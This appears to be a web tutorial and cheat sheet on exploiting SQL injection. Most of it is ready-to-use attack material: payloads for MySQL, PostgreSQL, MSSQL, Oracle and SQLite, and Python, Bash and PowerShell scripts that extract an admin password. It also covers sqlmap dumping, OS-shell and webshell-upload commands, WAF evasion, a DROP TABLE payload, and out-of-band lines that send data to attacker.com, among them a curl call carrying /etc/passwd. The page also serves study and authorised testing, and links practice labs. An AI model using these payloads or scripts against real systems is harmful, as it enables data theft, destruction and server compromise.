SQL Injection Exploitation
SQL injection allows attackers to interfere with database queries, potentially accessing, modifying, or deleting data. This guide covers detection, exploitation techniques, and automation for all major database platforms.
Warning
--technique=B (Boolean-based) in SQLMap for safer initial testing.
๐ Quick Navigation
๐ฏ Fundamentals
๐ค Automation & Bypass
โก Exploitation Techniques
๐งช Testing & Practice
๐ฏ Why SQL Injection Remains Critical
Despite being well-documented since the late 1990s, SQL injection remains one of the most devastating web vulnerabilities:
- Data Breaches: SQLi was the cause of major breaches including Sony (77M accounts), Heartland (130M cards), and TalkTalk (4M customers). Combined cost: billions of dollars.
- Authentication Bypass: A simple
' OR '1'='1can bypass login forms, granting admin access without credentials. - Data Exfiltration: Attackers can dump entire databases - user credentials, PII, financial data, and proprietary business information.
- Remote Code Execution: On some databases (MySQL, MSSQL, PostgreSQL), SQLi can escalate to OS command execution via features like xp_cmdshell or INTO OUTFILE.
- Lateral Movement: Database servers often have access to internal networks. SQLi provides a foothold for pivoting.
- Prevalence: OWASP ranks Injection as #3 in 2021 Top 10. Automated scanners find SQLi in ~10% of web applications tested.
Tools & Resources
Burp Suite
Manual testing & Scanner
burpsuite Understanding SQL Injection
SQL injection occurs when user input is concatenated directly into SQL queries without proper sanitization. The vulnerability exists because the application trusts user input as data, but the database interprets it as code.
Vulnerable Code Example (PHP)
// VULNERABLE - Direct concatenation
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
// User input: 1 OR 1=1
// Resulting query: SELECT * FROM users WHERE id = 1 OR 1=1
// This returns ALL users instead of just oneSQLi Types Overview
In-Band (Classic)
Results visible in application response. Includes Union-based and Error-based.
Blind SQLi
No direct output. Infer data through Boolean responses or Time delays.
Out-of-Band (OOB)
Data exfiltrated via DNS or HTTP requests to attacker server.
Second-Order
Payload stored and executed later in different context.
Detection & Identification
Basic Detection Payloads
Test these in any user input field, URL parameter, or HTTP header:
# Single quote test - look for SQL errors
'
''
# Numeric context tests
1 OR 1=1
1' OR '1'='1
1" OR "1"="1
# Comment tests
1--
1#
1/*comment*/
# String concatenation (varies by DB)
'||'test
' 'test
'+'test
# Math operations
1+1
2-1Tip
Database Fingerprinting
Identify the backend database for targeted exploitation:
# MySQL
' AND 1=1#
SELECT @@version
SELECT version()
# PostgreSQL
' AND 1=1--
SELECT version()
# Microsoft SQL Server
' AND 1=1--
SELECT @@version
# Oracle
' AND 1=1--
SELECT banner FROM v$version
# SQLite
' AND 1=1--
SELECT sqlite_version()Union-Based SQL Injection
Union-based SQLi leverages the UNION SQL operator to combine results from the original query with results from an injected query. This requires knowing the number of columns.
Step 1: Determine Column Count
# Method 1: ORDER BY (increment until error)
' ORDER BY 1-- - โ Works
' ORDER BY 2-- - โ Works
' ORDER BY 3-- - โ Works
' ORDER BY 4-- - โ Error = 3 columns
# Method 2: UNION SELECT NULL
' UNION SELECT NULL-- - โ Error
' UNION SELECT NULL,NULL-- - โ Error
' UNION SELECT NULL,NULL,NULL-- - โ Works = 3 columnsStep 2: Find Visible Columns
Identify which columns are displayed in the response:
' UNION SELECT 'a','b','c'-- -
' UNION SELECT 1,2,3-- -
# If column 2 is visible in output, use that for data extractionStep 3: Extract Database Information
# MySQL - Get version, user, database
' UNION SELECT 1,@@version,3-- -
' UNION SELECT 1,user(),3-- -
' UNION SELECT 1,database(),3-- -
# List all databases
' UNION SELECT 1,schema_name,3 FROM information_schema.schemata-- -
# List tables in current database
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()-- -
# List columns in a table
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- -
# Extract data
' UNION SELECT 1,username,password FROM users-- -
' UNION SELECT 1,CONCAT(username,':',password),3 FROM users-- -
# Multiple columns in one (GROUP_CONCAT)
' UNION SELECT 1,GROUP_CONCAT(username,':',password SEPARATOR '<br>'),3 FROM users-- -Database-Specific Payloads
PostgreSQL Payloads
# Version and user
' UNION SELECT NULL,version(),NULL-- -
' UNION SELECT NULL,current_user,NULL-- -
# List databases
' UNION SELECT NULL,datname,NULL FROM pg_database-- -
# List tables
' UNION SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname='public'-- -
# List columns
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
# Read files (superuser required)
' UNION SELECT NULL,pg_read_file('/etc/passwd'),NULL-- -Microsoft SQL Server Payloads
# Version and user
' UNION SELECT NULL,@@version,NULL-- -
' UNION SELECT NULL,SYSTEM_USER,NULL-- -
# List databases
' UNION SELECT NULL,name,NULL FROM master..sysdatabases-- -
# List tables
' UNION SELECT NULL,name,NULL FROM sysobjects WHERE xtype='U'-- -
# List columns
' UNION SELECT NULL,name,NULL FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -
# Execute commands (if xp_cmdshell enabled)
'; EXEC xp_cmdshell 'whoami'-- -
# Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE-- -Oracle Payloads
# Note: Oracle requires FROM clause, use DUAL table
# Version
' UNION SELECT NULL,banner,NULL FROM v$version WHERE ROWNUM=1-- -
# Current user
' UNION SELECT NULL,user,NULL FROM dual-- -
# List tables
' UNION SELECT NULL,table_name,NULL FROM all_tables-- -
# List columns
' UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'-- -
# String concatenation uses ||
' UNION SELECT NULL,username||':'||password,NULL FROM users-- -Error-Based SQL Injection
When verbose error messages are displayed, you can force the database to include sensitive data in error messages.
# MySQL - ExtractValue/UpdateXML
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))-- -
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)-- -
# MySQL - Double Query
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
# PostgreSQL
' AND 1=CAST((SELECT version()) AS INT)-- -
# MSSQL
' AND 1=CONVERT(INT,(SELECT @@version))-- -
# Oracle
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE ROWNUM=1))-- -Blind SQL Injection
When no data or errors are displayed, use Boolean conditions or time delays to infer information one bit at a time.
Boolean-Based Blind
# Confirm vulnerability - compare true vs false responses
' AND 1=1-- - (true condition - normal response)
' AND 1=2-- - (false condition - different response)
# Extract data character by character
' AND SUBSTRING(database(),1,1)='a'-- -
' AND SUBSTRING(database(),1,1)='b'-- -
# Continue until response changes...
# Using ASCII values (faster for scripting)
' AND ASCII(SUBSTRING(database(),1,1))>97-- -
' AND ASCII(SUBSTRING(database(),1,1))=100-- -
# Extract password length
' AND LENGTH((SELECT password FROM users WHERE username='admin'))>5-- -
' AND LENGTH((SELECT password FROM users WHERE username='admin'))=8-- -
# Check if table exists
' AND (SELECT COUNT(*) FROM users)>0-- -Time-Based Blind
# MySQL
' AND SLEEP(5)-- -
' AND IF(1=1,SLEEP(5),0)-- -
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- -
# PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
# MSSQL
'; WAITFOR DELAY '0:0:5'-- -
'; IF (1=1) WAITFOR DELAY '0:0:5'-- -
# Oracle
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -
# SQLite
' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))-- -Tip
Automation Scripts
Python - Boolean-Based Extraction
#!/usr/bin/env python3
"""
Boolean-Based Blind SQL Injection Data Extractor
Extracts data character by character using binary search
"""
import requests
import string
TARGET = "http://target.com/page"
PARAM = "id"
TRUE_INDICATOR = "Welcome" # String present in TRUE response
CHARSET = string.ascii_lowercase + string.digits + "_"
def is_true(payload):
"""Send payload and check if condition is true"""
params = dict()
params[PARAM] = "1' AND " + payload + "-- -"
response = requests.get(TARGET, params=params)
return TRUE_INDICATOR in response.text
def extract_string(query, max_len=50):
"""Extract string using binary search on ASCII values"""
result = ""
for position in range(1, max_len + 1):
found = False
# Binary search for ASCII value (faster than linear)
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = "ASCII(SUBSTRING((" + query + ")," + str(position) + ",1))>" + str(mid)
if is_true(payload):
low = mid + 1
else:
high = mid - 1
char_code = low
if char_code < 32 or char_code > 126:
break
result += chr(char_code)
print("[+] Extracted: " + result, end="\r")
print("\n[+] Final result: " + result)
return result
if __name__ == "__main__":
print("[*] Extracting database name...")
db_name = extract_string("SELECT database()")
print("\n[*] Extracting current user...")
user = extract_string("SELECT user()")
print("\n[*] Extracting admin password...")
password = extract_string("SELECT password FROM users WHERE username='admin'")Bash - Time-Based Extraction
#!/bin/bash
# Time-Based Blind SQL Injection Extractor
# Usage: ./sqli_time.sh
TARGET="http://target.com/page?id="
DELAY=3
CHARSET="abcdefghijklmnopqrstuvwxyz0123456789_"
extract_char() {
local position=$1
local query=$2
for char in $(echo $CHARSET | sed 's/./& /g'); do
payload="1' AND IF(SUBSTRING(($query),$position,1)='$char',SLEEP($DELAY),0)-- -"
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
start=$(date +%s)
curl -s "$TARGET$encoded" > /dev/null
elapsed=$(($(date +%s) - start))
if [ $elapsed -ge $DELAY ]; then
echo -n "$char"
return
fi
done
}
echo "[*] Extracting database name..."
result=""
i=1
while [ $i -le 20 ]; do
char=$(extract_char $i "SELECT database()")
if [ -z "$char" ]; then
break
fi
result="$result$char"
i=$((i + 1))
done
echo ""
echo "[+] Database: $result"PowerShell - Boolean Extractor
# PowerShell Boolean-Based SQLi Extractor
$Target = "http://target.com/page"
$Param = "id"
$TrueIndicator = "Welcome"
function Test-Condition {
param([string]$Payload)
$Uri = "$Target?$Param=1' AND $Payload-- -"
$Response = Invoke-WebRequest -Uri $Uri -UseBasicParsing
return $Response.Content -match $TrueIndicator
}
function Extract-String {
param([string]$Query, [int]$MaxLen = 30)
$Result = ""
for ($pos = 1; $pos -le $MaxLen; $pos++) {
for ($ascii = 32; $ascii -le 126; $ascii++) {
$Payload = "ASCII(SUBSTRING(($Query),$pos,1))=$ascii"
if (Test-Condition $Payload) {
$Result += [char]$ascii
Write-Host -NoNewline ([char]$ascii)
break
}
}
if ($ascii -gt 126) { break }
}
return $Result
}
Write-Host "[*] Extracting database name: " -NoNewline
$DbName = Extract-String "SELECT database()"
Write-Host "`n[+] Database: $DbName"SQLMap Automation
SQLMap is the industry-standard tool for automated SQL injection. It handles detection, exploitation, and data extraction across all database types.
Basic Usage
# Basic GET parameter test
sqlmap -u "http://target.com/page?id=1" --batch
# POST request
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --batch
# With authentication cookie
sqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=abc123" --batch
# Test specific parameter
sqlmap -u "http://target.com/page?id=1&name=test" -p id --batch
# From Burp request file
sqlmap -r request.txt --batchEnumeration
# Get all databases
sqlmap -u "http://target.com/page?id=1" --dbs
# Get tables from specific database
sqlmap -u "http://target.com/page?id=1" -D targetdb --tables
# Get columns from table
sqlmap -u "http://target.com/page?id=1" -D targetdb -T users --columns
# Dump specific table
sqlmap -u "http://target.com/page?id=1" -D targetdb -T users --dump
# Dump specific columns
sqlmap -u "http://target.com/page?id=1" -D targetdb -T users -C username,password --dump
# Dump all (be careful - slow!)
sqlmap -u "http://target.com/page?id=1" --dump-allAdvanced Techniques
# OS Shell (requires FILE privilege and writable directory)
sqlmap -u "http://target.com/page?id=1" --os-shell
# SQL Shell
sqlmap -u "http://target.com/page?id=1" --sql-shell
# Read server files
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd"
# Write files (webshell)
sqlmap -u "http://target.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# Specific techniques only
sqlmap -u "http://target.com/page?id=1" --technique=BT # Boolean and Time only
# Increase level and risk (more payloads)
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3
# Bypass WAF with tamper scripts
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,between
# Use Tor for anonymity
sqlmap -u "http://target.com/page?id=1" --tor --tor-type=SOCKS5WAF Bypass Techniques
Web Application Firewalls often block common SQL injection payloads. Use these techniques to evade detection.
Case Manipulation & Comments
# Mixed case
uNiOn SeLeCt 1,2,3
# Inline comments (MySQL)
UN/**/ION/**/SEL/**/ECT/**/1,2,3
/*!50000UNION*//*!50000SELECT*/1,2,3
# Comment variations
--
#
/**/
;%00Encoding & Whitespace
# URL encoding
%55NION%20%53ELECT (UNION SELECT)
%2527 (single quote)
# Double URL encoding
%252f%252a*/UNION%252f%252a*/SELECT
# Whitespace alternatives
UNION%09SELECT (tab)
UNION%0ASELECT (newline)
UNION%0DSELECT (carriage return)
UNION%0CSELECT (form feed)
UNION%A0SELECT (non-breaking space)Function Alternatives
# Instead of CONCAT()
CONCAT_WS('',user(),':',password)
user()||':'||password (PostgreSQL/Oracle)
# Instead of SUBSTRING()
MID(string,1,1)
LEFT(string,1)
RIGHT(string,1)
# Instead of IF()
CASE WHEN 1=1 THEN 'true' ELSE 'false' END
IIF(1=1,'true','false') (MSSQL)
# Instead of SLEEP()
BENCHMARK(10000000,SHA1('test')) (MySQL)
pg_sleep(5) (PostgreSQL)SQLMap Tamper Scripts
# Common tamper scripts
--tamper=apostrophemask # Replaces ' with UTF-8 fullwidth
--tamper=base64encode # Base64 encodes payload
--tamper=between # Replaces > with BETWEEN
--tamper=charencode # URL-encodes all characters
--tamper=equaltolike # Replaces = with LIKE
--tamper=randomcase # Random case for keywords
--tamper=space2comment # Replaces space with /**/
--tamper=space2hash # Replaces space with # and newline
--tamper=space2morehash # Like above with more obfuscation
--tamper=space2mssqlblank # MSSQL whitespace alternatives
--tamper=space2plus # Replaces space with +
--tamper=space2randomblank # Random whitespace character
# Chain multiple tampers
--tamper=space2comment,randomcase,betweenSecond-Order SQL Injection
Second-order SQLi occurs when malicious input is stored in the database and later incorporated into a different SQL query. The injection point and execution point are separate.
Example Scenario
- Register username:
admin'-- - Username stored in database as-is (properly escaped on INSERT)
- Password reset feature runs:
SELECT * FROM users WHERE username='admin'--' - Comment truncates query, potentially affecting admin account
# Registration payload
Username: admin'-- -
Username: ' OR '1'='1' --
Username: admin'; DROP TABLE users;--
# These get stored and executed later when:
- Password reset queries run
- Profile views query the database
- Admin reports generate
- Export functions pull dataInformation
Out-of-Band (OOB) SQL Injection
When in-band and time-based methods don't work (async queries, no response difference), exfiltrate data via DNS or HTTP requests to your server.
# MySQL - DNS exfiltration (Windows only, requires LOAD_FILE)
SELECT LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\share\\file'))
# MySQL - INTO OUTFILE to SMB share
SELECT * FROM users INTO OUTFILE '\\\\attacker.com\\share\\output.txt'
# MSSQL - xp_dirtree DNS lookup
EXEC master..xp_dirtree '\\\\data.attacker.com\\share'
# MSSQL - xp_subdirs
EXEC master..xp_subdirs '\\\\subdomain.attacker.com\\share'
# Oracle - UTL_HTTP (requires privileges)
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual
# Oracle - UTL_INADDR DNS lookup
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM users WHERE rownum=1)||'.attacker.com') FROM dual
# PostgreSQL - COPY to program
COPY (SELECT version()) TO PROGRAM 'curl http://attacker.com/?data=$(cat /etc/passwd)'Tip
Practice Labs
PortSwigger Web Security Academy
Free SQLi labs with all techniques covered
DVWA (TryHackMe)
Damn Vulnerable Web App with SQLi challenges
HackTheBox Challenges
Web challenges with SQLi components
SQLi-Labs
65+ SQLi challenges for all skill levels
Information
SQL Injection Testing Checklist
๐ Discovery Phase
- โ Test all GET/POST parameters
- โ Check cookies and headers
- โ Test numeric and string parameters
- โ Try single quote (') for errors
- โ Try double quote (")
- โ Test comment sequences (-- , #, /*)
- โ Check for verbose error messages
๐ Injection Types
- โ UNION-based (visible output)
- โ Error-based (database errors)
- โ Boolean-based blind (true/false)
- โ Time-based blind (sleep delays)
- โ Stacked queries (multiple statements)
- โ Second-order (stored then triggered)
๐๏ธ Database Fingerprinting
- โ Identify DBMS from errors
- โ Test version functions (@@version)
- โ Check concatenation syntax (||, +, CONCAT)
- โ Test comment styles
- โ Identify string quote character
- โ Check for SLEEP/WAITFOR support
โก Exploitation
- โ Enumerate databases
- โ List tables and columns
- โ Extract user credentials
- โ Check for file read (LOAD_FILE)
- โ Test file write (INTO OUTFILE)
- โ Check for OS command execution
How to Exploit SQL Injection
Step-by-Step Exploitation
- Confirm Injection: Inject a single quote (') and look for SQL errors or behavior changes. No error? Try boolean tests:
id=1 AND 1=1vsid=1 AND 1=2 - Identify DBMS: Check error messages or use database-specific syntax. MySQL uses #, MSSQL uses --, Oracle uses ||.
- Find Column Count: For UNION:
ORDER BY 1--, increment until error. Or useUNION SELECT NULL,NULL,NULL-- - Find Output Column: Replace NULLs with strings:
UNION SELECT 'a','b','c'--to see which column displays. - Extract Database Info: Use information_schema to list databases, tables, columns. Then extract data.
- Automate with SQLMap: Once confirmed, use
sqlmap -u "URL?id=1" --dbsto automate extraction. - Escalate: Check for file read/write permissions, attempt OS command execution if database supports it.
๐ก Pro Tip: For WAF bypass, try URL encoding, case variation, inline comments (/*!50000UNION*/), or double URL encoding. SQLMap's --tamper scripts automate many bypasses.